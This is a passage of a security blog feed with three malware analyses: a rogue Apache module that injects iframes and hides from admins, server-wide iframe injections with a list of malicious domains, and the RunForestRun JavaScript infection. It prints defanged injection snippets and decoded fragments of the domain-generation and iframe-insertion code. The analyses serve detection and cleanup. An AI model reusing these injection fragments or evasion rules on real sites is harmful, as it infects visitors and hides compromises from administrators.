<p>On the two servers that I worked with, the names of the malicious modules were: <span style="color: #993300;"><strong>mod_spm_headers.so</strong></span> and <span style="color: #993300;"><strong>mod_spm_mem.so</strong></span>. The file names may vary on different servers. I know that it could also be <span style="color: #993300;"><strong>mod_log.so</strong></span> and <span style="color: #993300;"><strong>mod_security.so</strong></span>.</p>
<p>They can be usually found in <em>/usr/lib/httpd/modules</em> or <em>/usr/lib64/httpd/modules</em> or whatever is your Apache module directory is. Sometimes the file is in the<em> /usr/lib</em> and symlinked to Apache modules directory.</p>
<p>In <em><strong>httpd.conf</strong></em> there should be a corresponding line like:</p>
<p><code>LoadModule spm_headers_module modules/mod_spm_headers.so</code></p>
<p>In some cases this line can be found in <em>httpd.conf</em> include files, e.g. <strong><em>extra/httpd-includes.conf</em></strong>.</p>
<p>The rogue Apache modules have the same timestamp as the rest legitimate modules (it quite easy to <em>touch</em> them) and their names look innocuous (didn&#8217;t you expect <em>malicious_iframes.so</em> after all?). So you should either check file names agains the list of <a href="http://httpd.apache.org/docs/2.2/mod/">real Apache modules</a> or search for <strong>.so</strong> files that contain strings specific to these malicious modules. For example the following command should help reveal malicious <strong>.so</strong> file in the directory with Apache modules.<br />
<code>ls *.so  | xargs strings | grep "module switcher"<br />
or<br />
ls *.so  | xargs strings | grep dlEngine</code></p>
<h3 id="work">What does this module do?</h3>
<p>If you check output of the Linux <strong><em>strings</em></strong> command for those <strong>.so</strong> files, you will find quite descriptive keywords that give you an idea of what they do.</p>
<p><code>_CHECK_RAW_COOKIE<br />
KEY_CLIENT<br />
_CHECK_SITE_KERNEL<br />
_CHECK_REFERER_IS_HOST<br />
base64decode<br />
xor_decrypt_string<br />
xor_encrypt_string<br />
_GEN_FILENAME_BLACKLIST<br />
_CHECK_REFERER_IS_SEO<br />
SIZE_ARRAY_SE_REFERER<br />
_CHECK_BOT_USERAGENT<br />
SIZE_ARRAY_BAN_USERAGENT<br />
_ADD_TO_BLACKLIST<br />
_CHECK_SITE_ADMIN<br />
SIZE_ARRAY_BLACKLIST_URI<br />
CLIENT_IP<br />
SIZE_ARRAY_BAN_PROC<br />
_IS_SUDOER<br />
SIZE_ARRAY_SUDOERS<br />
_CHECK_BLACKLIST<br />
_INJECT_SKIP<br />
_ADD_TO_WAITLIST<br />
GEN_FILENAME_WAITLIST<br />
_SESSION_DELETE<br />
GEN_FILENAME_SESSION<br />
_SESSION_KEYGEN<br />
_SET_COOKIE_KEY<br />
_INJECT_SAVE<br />
GEN_FILENAME_INJECT<br />
_SESSION_SAVE<br />
_CHECK_LOCAL_IP<br />
_SESSION_LOAD<br />
_INJECT_UPDATE<br />
FILENAME_UPDATING<br />
_CHECK_WAITLIST<br />
_INJECT_LOAD<br />
_INJECT_DO<br />
SIZE_ARRAY_TAGS_FOR_INJECT<br />
KEY_XOR<br />
C_MODULE_VERSION<br />
C_CC_HOST<br />
C_CC_URI<br />
C_CC_REQUEST_FORMAT<br />
C_MARKER_LEFT<br />
C_MARKER_RIGHT<br />
C_TMP_DIR<br />
C_LIST_PREF<br />
C_KEY_COOKIE_NAME<br />
C_ARRAY_TAGS_FOR_INJECT<br />
C_ARRAY_BAN_USERAGENT<br />
C_ARRAY_BLACKLIST_URI<br />
C_ARRAY_SE_REFERER<br />
C_ARRAY_SUDOERS<br />
C_ARRAY_BAN_PROC<br />
C_ARRAY_BAN_LOCAL_IP<br />
dlEngine<br />
dl module switcher</code></p>
<p>As you can see,  this module checks cookies, Referrer and User-Agent headers,  tries to identify unwanted traffic from search engine bots (<em>_CHECK_BOT_USERAGENT</em>) and site admins (<em>_CHECK_SITE_ADMIN</em>) and server admins (<em>_IS_SUDOER</em>) and blacklists such requests (<em>_ADD_TO_BLACKLIST</em>). Then it checks if the visitor is coming form search engine results (<em>_CHECK_REFERER_IS_SEO</em>, <em>C_ARRAY_SE_REFERER</em>)  and injects something (<em>_INJECT_DO</em>) after specific tags (<em>C_ARRAY_TAGS_FOR_INJECT</em>). Moreover, this module works with encrypted content (<em>base64decode</em>, <em>xor_decrypt_string</em>, <em>xor_encrypt_string</em>). You definitely don&#8217;t expect to see something like that in a legitimate module named <em>mod_spm_headers.so</em>!</p>
<p>These &#8220;strings&#8221; helped me find the source code of an older version of the malicious Apache module <a href="http://pastebin.com/6wWVsstj">http://pastebin.com/6wWVsstj</a>. The current version has changed since then but this code helps understand how this module works.</p>
<ol>
<li><strong></strong>It&#8217;s a typical &#8220;<em><strong>filter</strong></em>&#8221; Apache module that works in the middle of Apache pipeline: it gets generated response, modifies it if needed and passes it further to Apache.</li>
<li><strong></strong>Most constants are encrypted using <strong>XOR</strong>. Although it&#8217;s a very simple encryption algorithm, it helps to hide constant values (URLs, filenames, etc. ) from people trying to extract meaningful strings from compiled <strong>.so</strong> files.</li>
<li><strong></strong>The module used (in that old version) quite complex rules for injections:
<ol>
<li><strong></strong>Requests should not come from IP addresses of search engines and security companies</li>
<li><strong>User-Agent</strong> should not contain strings specific to search engines&#8217; bots, automated tools (e.g. <em>Curl</em>, <em>Indy Library</em>) and  browsers that the attackers are not interested in (<em>Opera Mini</em>, browsers  on <em>Macs</em>, <em>iPhones</em>, <em>PlayStations</em>).</li>
<li>Requests should not come from blacklisted and temporary &#8220;suspended&#8221; IPs (see below).</li>
<li><strong></strong>If request looks &#8220;good&#8221; and it has a search engine as a Referrer (<strong>search traffic</strong>), then the module creates a <strong>5 minutes</strong>&#8216; session for that IP address. Then if the requested page includes some <strong>.js</strong> files from the same domain or if that user clicks on some site level links within those <strong>5 minutes</strong> then the loaded<strong> .js</strong> files or the next site page (counted as a second hit during the session) will contain injected malicious code. And after that the attacked IP is &#8220;suspended&#8221; for the next <strong>7 days</strong>. &#8212; Quite complex, isn&#8217;t it? No wonder, it was hard to detect. However, the infection rate was probably suboptimal either and the current version of the malicious module uses less complex rules.</li>
</ol>
</li>
<li><strong></strong>The module only works with responses that have the following types: &#8220;<strong>text/html</strong>&#8220;, &#8220;<strong>javascript</strong>&#8220;, &#8220;<strong>text/js</strong>&#8221; (web pages and JavaScript files).
<ol>
<li><strong></strong>In web pages, it searches for the first of the following tags:  <strong>&lt;/script&gt;</strong>, <strong>&lt;/style&gt;</strong>, <strong>&lt;/head&gt;</strong>, <strong>&lt;/title&gt;</strong>, <strong>&lt;/body&gt;</strong>, <strong>&lt;/html&gt;</strong> and injects the malicious code right after it.</li>
<li><strong></strong>In JavaScript files, it injects the malicious code as a <strong>document.write</strong>(&lt;malicious HTML code&gt;) call.</li>
</ol>
</li>
<li><strong></strong>The malicious code is <strong>cached</strong> in a file (see below) and is getting updated from a remote server every <strong>10 minutes</strong>. It is not necessary that it receives completely new code every <strong>10 minutes</strong> (in practice it changes about once every hour) but potentially it can change that often.</li>
</ol>
<h4 id="blacklist">Blacklists</h4>
<p>The module checks the <strong>/var/run/utmp</strong> file to see if the current visitor IP is  the same as one of the IPs of users currently logged into this server. Such  users are most likely site webmasters or server admins. They should not  be aware of the infection so their IPs are getting blacklisted.</p>
<p>The same happens to users who open web pages that contain the word  &#8220;<strong>admin</strong>&#8221; in their URLs. Hackers assume that such users are most likely  site admins or site owners who should also not know about the security issue. Their IPs are also permanently blacklisted.</p>
<p>For other visitors, the module can work in two modes:</p>
<ul>
<li> in <strong>DO_BAN_SITEKERNEL</strong>, every visitor that comes to site directly (without an external referrer) gets blacklisted</li>
<li> in <strong>DO_EXPLOIT_ONLY_SEO</strong>, every visitor who doesn&#8217;t come from search engines gets blacklisted</li>
</ul>
<h4 id="files">Maintenance files</h4>
<p><strong>/var/tmp/sess_&lt;<em>md5(visitorIP)</em>&gt;</strong> &#8212; blacklist file for a specific visitor (empty. Visitor is blacklisted if this file exists)</p>
<p><strong>/var/tmp/sess_<em>&lt;md5(md5(visitorIP))&gt;</em></strong> &#8212; session file for a specific visitor (contains session information: timestamp, referrers, session key and visit number)</p>
<p><strong>/var/tmp/sess_<em>&lt;md5(md5(md5(visitorIP)))&gt;</em></strong> &#8212; temporary &#8220;ban&#8221; file for a specific visitor (contains the time when the visitor was &#8220;suspended&#8221; &#8211; expires in <strong>7 days</strong>)</p>
<p><strong>/var/tmp/sess_<em>&lt;md5(&#8220;cache&#8221;)&gt;</em></strong> (/var/tmp/sess_0fea6a13c52b4d4725368f24b045ca84 ?) &#8212; cache file. It contains a <em>timestamp</em> (required to figure out whether the current malicious code is expired &#8211; <strong>10 minutes</strong>) and the <em>current malicious code </em>(xor-encrypted).</p>
<h3 id="info">New information required</h3>
<p>This information is mainly based on the analysis of the source code of that one year old version of the malicious Apache module. Most of it is still true but some things have definitely changed. For example, server admins who sent me the malicious <strong>.so</strong> files could find session and cache files in the <em>/var/tmp</em> directory. I can also see some change in the injection algorithm. And the <strong>.so</strong> files contain some new strings literals. It is also not clear what is that <em>remote URL</em> where the malware gets new iframe codes from.</p>
<p>If you know how to decompile Linux <strong>.so</strong> files (ELF) you can <a href="http://blog.unmaskparasites.com/contact/">contact me</a> and I&#8217;ll send you the files I have.</p>
<h3 id="spreading">Spreading of the attack</h3>
<p>During my investigation I found quite a few forum posts and articles about the malicious Apache modules. Some of them are a couple of years old and some are quite new.</p>
<p>Here are just some of them:</p>
<ul>
<li><a href="http://www.symantec.com/connect/blogs/extending-apache-serve-malware-0">Extending Apache to Serve Malware</a> by Symantec</li>
<li><a href="https://support.interworx.com/index.php?_m=news&amp;_a=viewnews&amp;newsid=37">Interworx Support Desk Database Compromised</a></li>
<li>Google search [<a href="http://www.google.com/search?q=&quot;mod_log.so&quot;+malicious">"mod_log.so" malicious</a>] for more&#8230;</li>
</ul>
<p>Such attacks remain latent because of the complexity of detection. I rarely come across such things myself. However this summer I got more that usually requests from webmasters of sites on infected servers. This may be a sign of an increased activity of this attack. I wonder how many servers are currently infected.</p>
<h3 id="vector">Mysterious infection vector</h3>
<p>While this hack is not new, I couldn&#8217;t find reliable information about how hackers break into servers and get root access (the malicious modules are owned by <em>root</em> and <em>httpd.conf</em> files can only be modified by <em>root</em>).</p>
<p>At this point I can say that it doesn&#8217;t look like a security issue of some control panel. The two infected sites I worked with had different control panels: <a href="http://www.virtualmin.com/">Virtualmin</a> and <a href="http://cpanel.net/">cPanel</a>.</p>
<p>The malicious module doesn&#8217;t come from Linux repositories.</p>
<p>So someone somehow breaks into servers with root permissions, which is quite alarming.</p>
<p>One of the servers had only one user (dedicated server), used strong passwords, didn&#8217;t allow remote root logins, used custom ports and fail2ban to prevent brute-force attack. Nonetheless it was hacked within one month and its administrator couldn&#8217;t find sings of the intrusion in logs files, only legitimate logins (of course, with root access, it is possible to remove most traces).</p>
<h3 id="admins">To server administrators</h3>
<p>If you use Apache 2.x on your server, I recommend that you check if all Apache modules on your server are legitimate.</p>
<p>The following commands is a good start:<br />
<code><br />
cd &lt;Apache Module Dir&gt;<br />
ls *.so  | xargs strings | grep "module switcher"<br />
or<br />
ls *.so  | xargs strings | grep dlEngine</code></p>
<p>You should also check all modules loaded in <em>httpd.conf</em> and its include files.</p>
<p>##<br />
Do you have anything to add? Your thoughts and comments are welcome! I&#8217;m particularly interested in how hackers gain root access on those servers and where the rogue modules download the updated malicious code from.</p>
<p><span style="color: #888888;"><strong>Related posts:</strong></span></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2012/08/13/rfi-server-wide-iframe-injections/">RFI: Server-wide iframe injections</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/06/18/beladen-elusive-web-server-exploit/">Beladen – Elusive Web Server Exploit. (information for site owners and hosting providers)</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/07/23/goscanpark-13-facts-about-malicious-server-wide-meta-redirects/">Goscanpark: 13 Facts About Malicious Server-Wide Meta Redirects.</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/04/14/introduction-to-website-parasites/">Introduction to Website Parasites</a></li>
</ul>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=kLYzIYkcXsY:d3CYw8NZY-s:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=kLYzIYkcXsY:d3CYw8NZY-s:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?i=kLYzIYkcXsY:d3CYw8NZY-s:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=kLYzIYkcXsY:d3CYw8NZY-s:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=qj6IDK7rITs" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2012/09/10/malicious-apache-module-injects-iframes/feed/</wfw:commentRss>
		<slash:comments>42</slash:comments>
		</item>
		<item>
		<title>RFI: Server-wide iframe injections</title>
		<link>http://blog.unmaskparasites.com/2012/08/13/rfi-server-wide-iframe-injections/</link>
		<comments>http://blog.unmaskparasites.com/2012/08/13/rfi-server-wide-iframe-injections/#comments</comments>
		<pubDate>Mon, 13 Aug 2012 17:34:56 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Short Attack Reviews]]></category>
		<category><![CDATA[Apache]]></category>
		<category><![CDATA[beladen]]></category>
		<category><![CDATA[iframe]]></category>
		<category><![CDATA[RFI]]></category>
		<category><![CDATA[YWZmaWQ9MDUyODg=]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=893</guid>
		<description><![CDATA[This post is a request for information.
This summer I come across some clearly infected servers where I can&#8217;t figure out how exactly the hack works and what should be done to clean them up and to protect other servers from similar hacks. So I decided to share my information about the issue and hope someone [...]]]></description>
			<content:encoded><![CDATA[<p>This post is a request for information.</p>
<p>This summer I come across some clearly infected servers where I can&#8217;t figure out how exactly the hack works and what should be done to clean them up and to protect other servers from similar hacks. So I decided to share my information about the issue and hope someone could shed some light on it.<br />
<span id="more-893"></span></p>
<p><span style="color: #ff6600;"><strong>1</strong>.</span> The malicious code typically looks like this (this is what I see today, August 13, 2012):</p>
<p><code>&lt;style&gt;.<strong>vn5u66dxa</strong> { position:absolute; left:<strong>-1023</strong>px; top:<strong>-1209</strong>px} &lt;/style&gt;  &lt;div class="vn5u66dxa"&gt;&lt;if rame src="hxxp://insitudrill .com/<strong>46814443</strong>.html" width="<strong>199</strong>" height="<strong>288</strong>"&gt;&lt;/ifra me&gt;&lt;/div&gt;</code></p>
<p>About a month ago the iframe URLs looked slightly different:</p>
<p><code>&lt;style&gt;.<strong>um6x1zsq</strong> { position:absolute; left:<strong>-1241</strong>px; top:<strong>-1283</strong>px} &lt;/style&gt; &lt;div&gt;&lt;ifr ame src="hxxp://megaworlsnetscapes .info/?a=YWZmaWQ9MDUyODg=" width="<strong>120</strong>" height="<strong>300</strong>"&gt;&lt;/ifram e&gt;&lt;/div&gt;</code></p>
<p>The code changes on every page load. The parts in <strong>bold</strong> would randomly change.</p>
<p><span style="color: #ff6600;"><strong>2.</strong></span> This code is being injected into random (or not so random) places in the <strong>&lt;head&gt;</strong> section of the HTML code.</p>
<p><span style="color: #ff6600;"><strong>3.</strong></span> It is being injected into both PHP pages and into static plain HTML pages.</p>
<p><span style="color: #ff6600;"><strong>4.</strong></span> We should be actually talking about infected server responses since the malicious code cannot be found in any website files.</p>
<p><span style="color: #ff6600;"><strong>5.</strong></span> It is pretty hard to detect this infection since only random server responses are affected. There should be some internal conditions though (that I couldn&#8217;t figure out yet) since <a href="http://www.UnmaskParasites.com/">Unmask Parasites</a> has quite hight detection rate (still not always) while other tools (e.g. wget or online HTTP tools) rarely trigger this malware for the same requests. I couldn&#8217;t reproduce the malicious responses in real browsers at all.</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2012/08/detection-in-unmask-parasites.png" border="0" alt="detection in Unmask Parasites" /></div>
<p><strong><span style="color: #ff6600;">6.</span></strong> At the same time Google&#8217;s malware scanners do detect those iframes. However their detection rate is not perfect either. Google unblocks sites where I can still see those malicious iframes.</p>
<p><span style="color: #ff6600;"><strong>7.</strong></span> This hack typically affects all sites on the same server. However it&#8217;s hard to tell for sure because of  its intermittent nature and less than perfect detection rate.</p>
<p><span style="color: #ff6600;"><strong>8.</strong></span> This hack (in my experience) affects servers powered by Apache.</p>
<p><span style="color: #ff6600;"><strong>9.</strong></span> If you check Apache logs, you can recognize tempered responses since their sizes are slightly bigger than typical response sizes for the same pages.</p>
<p><span style="color: #ff6600;"><strong>10.</strong></span> Domains in iframe URLs also change every day or so. However I couldn&#8217;t detect the event that triggers the change.</p>
<p><span style="color: #ff6600;"><strong>11.</strong></span> Here&#8217;s a a list (incomplete) of domains associated with this attack.</p>
<ul>
<li><span style="color: #993300;">judochatoutsiderugs .info</span></li>
<li><span style="color: #993300;">electroniccastingbankingetc .info</span></li>
<li><span style="color: #993300;">insitudrill .com</span></li>
<li><span style="color: #993300;">megaworlsnetscapes .info</span></li>
<li><span style="color: #993300;">megaworlsnetscapes .net</span></li>
<li><span style="color: #993300;">mig-generatio-nla-bss .info</span></li>
<li><span style="color: #993300;">mikao-usui-reikimaster-annet .nl</span></li>
<li><span style="color: #993300;">fuellttropasen .net</span></li>
<li><span style="color: #993300;">inwocementworld .net</span></li>
<li><span style="color: #993300;">blondbindsfeeds .org</span></li>
<li><span style="color: #993300;">mainsbigwoeld .net</span></li>
<li><span style="color: #993300;">jurymerlin .info</span></li>
<li><span style="color: #993300;">worldorgsrooms .net</span></li>
<li><span style="color: #993300;">worldorgsrooms .com</span></li>
<li><span style="color: #993300;">lawpeter .info</span></li>
<li><span style="color: #993300;">linesphones .info</span></li>
<li><span style="color: #993300;">signaccelerated .org</span></li>
<li><span style="color: #993300;">qmg2 .com</span></li>
<li><span style="color: #993300;">dorcel3d .fr</span></li>
</ul>
<p><span style="color: #ff6600;"><strong>12.</strong></span> Some information about what those iframes do. Currently they redirect to <span style="color: #993300;">hxxp://multiplechoicetaping .org/feed/xml.php?uid=45</span></p>
<p>I checked the final landing pages some time ago and found various browser exploits there. For example this: <a href="https://www.virustotal.com/file/eb2a61a5fc1bc6308c67cbd2ef2d096921a709c6e1c468ea165a40cf86b7cd94/analysis/1341849674/">VirusTotal 9/42</a>.</p>
<p>And by the way, &#8220;<strong>YWZmaWQ9MDUyODg=</strong>&#8221; part of the URL decodes to &#8220;<strong>affid=05288</strong>&#8221; &#8212; criminals like affiliate marketing.</p>
<h3>Your ideas are welcome</h3>
<p>Given all the information I know, I can only think of the hack that involves hijacking Apache process. It could be either &#8220;patched&#8221; Apache or some of its modules or some malicious process that intercepts generated web page code and injects iframes there.</p>
<p>A few year ago I reviewed two server-wide attacks that managed to hijack Apache: <a href="http://blog.unmaskparasites.com/2009/07/23/goscanpark-13-facts-about-malicious-server-wide-meta-redirects/">GoScanPark</a> and <a href="http://blog.unmaskparasites.com/2009/06/18/beladen-elusive-web-server-exploit/">Beladen</a>. This time the symptoms are not exactly the same, but during the last three years this attack might have evolved. Or it could be something completely different.</p>
<p>As far as I can tell, quite a few servers around the world are infected and I hope that some server admins have already figured out how hackers managed to infect their servers and what should be done to efficiently detect the hack and clean up web servers.</p>
<p>Please share whatever information/thoughts/ideas you have. It may make difference and help harden and clean up many infected and potentially vulnerable servers. Thank you!</p>
<p><strong id="update1">Update (August 15, 2012):</strong> Sucuri <a href="http://labs.sucuri.net/?note=2012-08-14">follows up</a> on this post with more involved iframe URLs and some speculations on the attack vector (they think about a &#8220;mix of attacks&#8221;). Still no information about how it works and what exactly is infected.</p>
<p><strong>Update (September 10, 2012)</strong>: I have new information about this attack. It turns out the <a href="http://blog.unmaskparasites.com/2012/09/10/malicious-apache-module-injects-iframes/">servers are compromised at the root level and hackers managed to install malicious Apache modules</a>.</p>
<h3>To webmasters</h3>
<p>If Google reports similar iframes on your site (you can usually see the code in <a href="https://www.google.com/webmasters/tools/"><strong>Webmaster Tools</strong></a> -&gt; <strong>Health</strong> -&gt; <strong>Malware</strong>) then most likely this is something that only your hosting provider can take care of. Let them know about the problem and show this article. If you don&#8217;t see much help from your hosting provider you might want to move your site to a different server.</p>
<p><span style="color: #888888;"><strong>Related posts:</strong></span></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2012/09/10/malicious-apache-module-injects-iframes/">Malicious Apache Module Injects Iframes</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/06/18/beladen-elusive-web-server-exploit/">Beladen – Elusive Web Server Exploit. (information for site owners and hosting providers)</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/07/23/goscanpark-13-facts-about-malicious-server-wide-meta-redirects/">Goscanpark: 13 Facts About Malicious Server-Wide Meta Redirects.</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/04/14/introduction-to-website-parasites/">Introduction to Website Parasites</a></li>
</ul>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=StAxf2LvnJQ:m7cfmr6k63I:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=StAxf2LvnJQ:m7cfmr6k63I:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?i=StAxf2LvnJQ:m7cfmr6k63I:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=StAxf2LvnJQ:m7cfmr6k63I:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=qj6IDK7rITs" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2012/08/13/rfi-server-wide-iframe-injections/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>RunForestRun Now Encrypts Legitimate JS Files</title>
		<link>http://blog.unmaskparasites.com/2012/07/26/runforestrun-now-encrypts-legitimate-js-files/</link>
		<comments>http://blog.unmaskparasites.com/2012/07/26/runforestrun-now-encrypts-legitimate-js-files/#comments</comments>
		<pubDate>Thu, 26 Jul 2012 12:49:19 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Short Attack Reviews]]></category>
		<category><![CDATA[Website exploits]]></category>
		<category><![CDATA[obfuscated script]]></category>
		<category><![CDATA[Plesk]]></category>
		<category><![CDATA[Runforestrun]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=891</guid>
		<description><![CDATA[A few days ago Jindrich Kubec (Avast) pinged me that the RunForestRun malware changed the domain generating algorithm (DGA) and now uses waw.pl subdomains (instead of .ru) in malicious URLs.

I decided to take a look at the new scripts and found quite a few very interesting changes. This post will be about those changes.

RunForestRun recap
Just [...]]]></description>
			<content:encoded><![CDATA[<p>A few days ago <a href="http://twitter.com/Jindroush/">Jindrich Kubec</a> (Avast) pinged me that the <a href="http://blog.unmaskparasites.com/2012/06/22/runforestrun-and-pseudo-random-domains/">RunForestRun malware</a> changed the domain generating algorithm (DGA) and now uses <strong>waw.pl</strong> subdomains (instead of <strong>.ru</strong>) in malicious URLs.</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2012/07/picture1.gif" border="0" alt="The DGA has changed a bit... it now also generates h.hhrkeezqezsfpelh. waw. pl / runforestrun?sid=botner_api style domains" /></div>
<p>I decided to take a look at the new scripts and found quite a few very interesting changes. This post will be about those changes.<br />
<span id="more-891"></span></p>
<h3 id="recap">RunForestRun recap</h3>
<p>Just a quick recap of the <a href="http://blog.unmaskparasites.com/2012/06/22/runforestrun-and-pseudo-random-domains/">RunForestRun attack</a>: It began in mid-June and infected many servers with Plesk Panel since then. Hackers used Plesk&#8217;s File Manager to inject malicious code (mainly) at the bottom of <strong>.js</strong> files. That malicious code used a Black Hole obfuscator and was always surrounded by the <span style="color: #993300;"><em>/*km0ae9gr6m*/…/*qhk6sa6g1c*/</em></span> pair of comments, which made it very easy to clean up whole servers using just a single regexp.</p>
<p>Another interesting feature of the original RunForestRun attack was the domain name generating algorithm built into its malicious scripts. It generated two new unreadable <strong>.ru</strong> domains every day and used them for iframe injection. Although the algorithm called itself &#8220;<em>pseudo-random</em>&#8220;, it actually lacked any randomness at all, thus all the domain names it could ever generate (today, tomorrow, next month, in a hundred years, etc.) were <a href="http://blog.unmaskparasites.com/2012/06/22/runforestrun-and-pseudo-random-domains/#update4">easily predicted</a>.</p>
<h3 id="new">New version of RunForestRun scripts</h3>
<p>However everything changes and now we can see a significantly improved version of the RunForestRun attack &#8211; they definitely learn from they own mistakes.</p>
<h4 id="js_files">Infected and encrypted .js files</h4>
<p>As previously, the attack targets <strong>.js</strong> files on Plesk-pоwered servers. However, instead of appending legitimate files with an easily identifiable line of the malicious code, this time they replace the whole content of the legitimate <strong>.js</strong> files.</p>
<p><code>eval(function(p,a,c,k,e,r){e=function(c){return(c&lt;a?'':e(parseInt(c/a)))+((c=c%a)&gt;35?String...<strong>REMOVED</strong>...QEE|Sktl|8QaUx|MU|EbD|Rb|kpVHmU|0xUQ0|NAWHo|typeof|_typeof_|undefined|else|sgVxTrfNlm'.split('|'),0,{}))</code></p>
<p>As you can see, the comment signature is gone and the legitimate code is no longer there. Moreover, the code is different in every infected .js file even on the same site. This means that server admins:</p>
<ul>
<li><strong> can&#8217;t easily identify infected files</strong> &#8212; there&#8217;s no signature</li>
<li><strong>can&#8217;t use a simple regexp to find and remove the malicious code from all infected files</strong> &#8212; the code is varies from file to file  and the only common part is the packer code used by many legitimate <strong>.js</strong> libraries, e.g. jQuery)</li>
<li><strong>can&#8217;t simply remove the malicious code</strong> &#8212; it will remove the legitimate code too and break websites.</li>
</ul>
<p>The code (<a href="http://pastebin.com/cxJeKVTK">full example</a>) is packed with a popular (both among legitimate JS programmers and malware writers) <a href="http://dean.edwards.name/packer/">Dean Edwards&#8217; Javascript Packer</a>. It&#8217;s very easy to decode but it&#8217;s only the first layer. The second layer is more interesting <a href="http://pastebin.com/fikpCNck">(see the full code here</a>):</p>
<h4 id="encryption">Site-dependent JS encryption</h4>
<p>It contains two long encrypted strings.  The code decrypts and executes them. Apparently the first string is the encrypted legitimate content of the infected <strong>.js</strong> file (that&#8217;s why even with replaced content of <strong>.js</strong> files hacked websites still work) and the second string is the encrypted copy of the malicious code.</p>
<p>To make things more interesting,  both strings are encrypted using the <span style="text-decoration: underline;"><em>domain name of the hacked site as an encryption key</em></span>. This means that <span style="text-decoration: underline;"><em>if you only have a copy of the malicious code but don&#8217;t know the domain name of the site it was found on, then you won&#8217;t be able to (easily) decode it</em></span>.</p>
<p><code>this.LdgeJzxGT = function() {<br />
return this["TpPoqfTGS"](this.getTopHost(<strong>window["location"]["host"]</strong>), this.PPZyLUke(this.NfScKqzGUKfkt))<br />
};</code></p>
<p>That also answers why every infected <strong>.js</strong> file has different malicious code in it. The final code depends on the combination of two factors: site <strong>domain name</strong> and <strong>content of the .js file</strong> &#8212; apparently this combination is unique (unless someone has two identical <strong>.js</strong> files on the same site &#8212; why?)</p>
<p>By the way, the encryption code is still buggy as I saw sites where the legitimate code won&#8217;t decrypt.</p>
<h4 id="dga">Updated domain generating algorithm</h4>
<p>Now let&#8217;s take a look at the decoded malicious part of the script (<a href="http://pastebin.com/KFSCjZKd">full version here</a>). It&#8217;s basically the same code that generates domain names and injects iframes as we saw in the <a href="http://pastebin.com/dfGJZYu7">original</a> RunForestRun attack. However there are a few significant changes:</p>
<p>1. At the very top of the code we can see the following two comment lines:</p>
<blockquote><p>//Congratulations! you have successfully extracted the gootkit payload<br />
//this means i must work hardly :(</p></blockquote>
<p>The malware author left a message to us. Apparently he has sense of humor and desire to improve the script obfuscation techniques.  Well, this new version is much more interesting to decode. I liked the &#8220;domain name as an encryption key&#8221; trick, I didn&#8217;t see it before. Nonetheless for tools that use JavaScript engines and can decode all script directly on infected sites the same way that web browsers do, this new layer of obfuscation is hardly noticeable.</p>
<p>2. Instead of <strong>.ru</strong> domains, this new algorithm generates subdomains on <strong>waw.pl</strong>. This version also uses the <strong>botnet_api</strong> sid parameter.</p>
<p><code>var domainName = generatePseudoRandomString(unix, 16, '<strong>waw.pl</strong>');<br />
ifrm = document.createElement("IFRAME");<br />
ifrm.setAttribute("src", "http://" + domainName + "/<strong>runforestrun?sid=botnet_api</strong>");</code></p>
<p>3. And the most important change is the DGA now generates <strong>really random</strong> domain names.</p>
<p><code>for (var i = 0; i &lt; subdomainlen; i++) {<br />
str += letters[Math.floor(<strong>Math.random()</strong> * (letters.length - 1))];<br />
}<br />
str += '.'<br />
for (var i = 0; i &lt; length; i++) {<br />
str += letters[createRandomNumber(rand, 0, letters.length - 1)];<br />
}</code></p>
<p>The generated URLs look like this:<br />
<span style="color: #993300;">hxxp://vvsadnfpurghr .<strong>wnozimymvmaxkszo .waw .pl</strong>/runforestrun?sid=botnet_api</span><br />
<span style="color: #993300;">hxxp://dpolzxzkrrfvk .<strong>erzeyvxfqerffrql .waw .pl</strong>/runforestrun?sid=botnet_api</span>.</p>
<p>They are really random and change on every script execution.</p>
<h4 id="predictable">Still easily predictable</h4>
